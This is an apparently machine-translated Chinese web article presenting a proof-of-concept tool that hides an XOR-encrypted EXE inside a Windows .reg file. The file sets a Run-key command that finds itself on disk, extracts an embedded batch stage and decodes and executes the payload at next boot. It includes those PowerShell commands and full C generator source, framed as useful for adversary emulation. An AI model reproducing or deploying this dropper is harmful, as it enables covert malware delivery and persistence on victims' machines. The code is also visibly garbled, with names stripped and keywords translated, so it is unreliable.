您的位置  > 互联网

嵌入式EXE文件执行文件的执行文件

今年早些时候,我发布了一个名为“”的 PoC 项目 - 一个可以生成包含嵌入式 EXE 的 lnk 文件的工具。 与此项目类似,我还创建了一个工具来生成包含 EXE 的注册表 .reg 文件。

.reg 文件包含要导入的注册表项和值的纯文本列表,这意味着我们可以安排程序在下次启动时运行:

[\\\\\]

""="C:\\test\\.exe"

复制代码

由于 Run/ 键允许将参数传递给目标 EXE,因此我们可以使用它来执行脚本。 在最简单的形式中,可以在此处插入命令以从远程服务器下载并执行 EXE。 但是,与之前的 .lnk PoC 一样,如果您想更进一步,则无需额外下载。

首先将一些随机二进制数据附加到有效 .reg 文件的末尾,看看是否显示错误。 幸运的是,注册表项已正确导入,并且没有出现错误消息 - 当到达二进制数据时,它会默默地失败。 这意味着可以安全地将 EXE 附加到 .reg 文件的末尾。

现在我们有了一个主 .reg 文件,我们需要创建一个启动命令来执行嵌入式程序。 由于它将在下次重新启动后执行,因此我们遇到的第一个问题是不知道 .reg 文件存储在目标计算机上的位置。 我们不想对特定路径进行硬编码,因此我们将编写一个命令来在重新启动后在硬盘驱动器本身上找到 .reg 文件。

下一个问题是我们无法直接从 .reg 文件执行,因为 EXE 数据存储在文件末尾。 这意味着该命令还需要在执行之前从 .reg 文件中提取 EXE 数据并将其复制到单独的 .exe 文件中。

我创建了一个命令,该命令执行上面列出的所有操作 - 当直接从 cmd.exe 运行时成功,但在插入注册表项时根本不执行。 在花了一些时间调查此问题后,我发现 Run/ 注册表项的最大长度似乎约为 256 个字符。 如果值超过此长度,则会被忽略。 我的命令长度超过 500 个字符,这解释了为什么它最初不起作用。

您可以采取多种途径来解决命令长度问题,我决定在加载链中添加一个额外的“阶段”以获得最大的灵活性 - .reg 文件还将包含嵌入式 .bat 文件。 原始命令中的大部分逻辑将被移至 .bat 数据中,并且该值将包含一个极简命令来执行嵌入的批处理文件。

cmd.exe /c " - $reg = gci -Path C:\ - *.reg ^| where- {$_.-eq } ^| - -First 1; $bat = '%temp%\.bat';复制项目 $reg - $bat ^& $bat;"

复制代码

我还在为原始项目编写的 EXE 上使用了相同的基本 XOR 加密。

最终的 .reg 文件将具有以下结构:

复制代码

[\\\\\]

""="cmd.exe /c " - $reg = gci -Path C:\\ - *.reg ^| 其中 - {$_. -eq } ^| - -第1个; $bat = '%temp% \\.bat'; 复制项目 $reg - $bat; ^& $蝙蝠;""

\xFF\xFF

cmd /c " - $file = gc '%temp%\\.bat' - Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file [$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file^| -Skip )) - 字节^& $路径;"

出口

复制代码

上面的示例文件可以分为3部分:

原始.reg数据

这将创建一个以 \\\\\ 键命名的值。 这将导致下次计算机启动时执行以下命令:

cmd.exe /c " - $reg = gci -Path C:\ - *.reg ^| where- {$_.-eq } ^| - -First 1; $bat = '%temp%\.bat';复制项目 $reg - $bat ^& $bat;"

复制代码

此命令在 C:\drive 中搜索与指定文件大小(在本例中)匹配的 .reg 文件来定位自身,然后将 .reg 文件复制到 TEMP 目录,将其命名为 .bat 并执行它。

该文件在初始 .reg 数据之后包含 \xFF\xFF - 这并不是绝对必要的,但我添加它是为了确保注册表导入解析器失败并在此时停止。

嵌入 .bat 数据

下一个数据块包含嵌入的 .bat 命令:

cmd /c " - $file = gc '%temp%\\.bat' - Byte; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file [$i] -bxor 0x77 }; $path = '%temp%\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file^| -Skip )) - 字节^& $路径;"

出口

复制代码

此命令从当前文件末尾提取主 EXE。 EXE 起始点的偏移量由生成器工具硬编码(在本例中为 640 字节)。 EXE被复制到TEMP目录,解密并执行。

注意:执行此 .bat 文件时,它还会在到达 .bat 内容之前执行原始 .reg 文件中的行。 这不应该产生任何不利影响,因为它们不是有效的命令。

嵌入.exe数据

最后一个数据块包含加密的.exe。

这种方法的主要缺点是需要管理员权限才能导入.reg文件,另一个缺点是直到下次重新启动才会执行,这意味着如果用户在此之前删除了.reg文件,它将不会执行。完全执行。 虽然这不是一个好的做法,但由于各种原因,.reg 文件通常仍然在组织内通过电子邮件进行内部共享,这意味着它们对于对手的模拟操作非常有用。

所有代码:

#

#

DWORD(字符*,字符*)

字符[1024];

字符[1024];

字符[64];

字节=0;

= 空;

= 空;

双字 = 0;

双字 = 0;

双字 = 0;

字节 * = 空;

双字 = 0;

双字 = 0;

字符[16];

字符值[16];

字节[1024];

// 设置异或值

= 0x77;

// 设置条目名称

(, 0, ());

(, "", () - 1);

//reg文件数据(0xFF位于第一个条目之后的末尾)

(, 0, ());

(, () - 1,

“\r\n”

“\r\n”

“[\\\\\\\\\\]\r\n”

""%s"="cmd.exe /c \\" - $reg = gci -Path C:\\\\ - *.reg ^| 其中- {$_.-eq } ^| - -First 1; $bat = '%%temp%%\\\\.bat'; 复制项目 $reg - $bat;\\""\r\n"

“\r\n”

“\xFF\xFF\r\n”

"\r\n", );

//bat文件数据

(, 0, ());

(, () - 1,

“cmd /c” - $file = gc '%%temp%%\\\\.bat' - 字节; for($i=0; $i -lt $file.count; $i++) { $file[$i] = $file[$i] -bxor 0xX }; $path = '%%temp%%\\tmp' + (Get-) + '.exe'; sc $path ([byte[]]($file ^| -Skip )) - 字节; ^& $路径;"\r\n"

"退出\r\n", );

//注册文件

= (, , 0, NULL, , L, NULL);

如果(==)

(“到文件\n”);

1;

//打开exe文件

= (, , 0, NULL, , L, NULL);

如果(==)

("打开exe文件\n");

// 错误

();

1;

// 保存exe文件大小

= (, 空);

// 文件总大小

= () + () + ;

(, 0, ());

(, () - 1, "0xX", );

//.exe文件

= - ;

(值,0,(值));

(值,(值)- 1,“u”,);

// 查找 -line 中总的 reg 文件的值

= (BYTE*)(, "_.-eq }");

如果(==空)

// 错误

();

();

1;

+= ("_.-eq ");

// 价值

((void*), (void*), ());

// 查找该行中要跳过的字节值

= (BYTE*)(, "-跳过)");

如果(==空)

// 错误

();

();

1;

+= (“-跳过”);

// 价值

((void*), (void*)值, (值));

// 写

if((, (void*), (), &, NULL) == 0)

// 错误

();

();

1;

// 写

if((, (void*), (), &, NULL) == 0)

// 错误

();

();

1;

// exe文件到reg文件末尾

为了(;;)

// 从exe文件中读取数据

if((, , (), &, NULL) == 0)

// 错误

();

();

1;

// 检查文件末尾

如果(==0)

休息;

// "" exe文件数据

for(DWORD i = 0; i < ; i++)

[i]^=;

// 将数据写入reg文件

if((, , , &, NULL) == 0)

// 错误

();

();

1;

// 关闭exe文件

();

// 关闭文件

();

0;

int main(int argc, char *argv[])

字符 * = NULL;

字符 * = NULL;

(" - \n\n");

if(argc!= 3)

("用法: %s [] []\n\n", argv[0]);

1;

// 得到

= argv[1];

= argv[2];

// 一个reg文件exe

如果((,)!= 0)

(“错误\n”);

1;

(“\n”);

0;

复制代码

注册,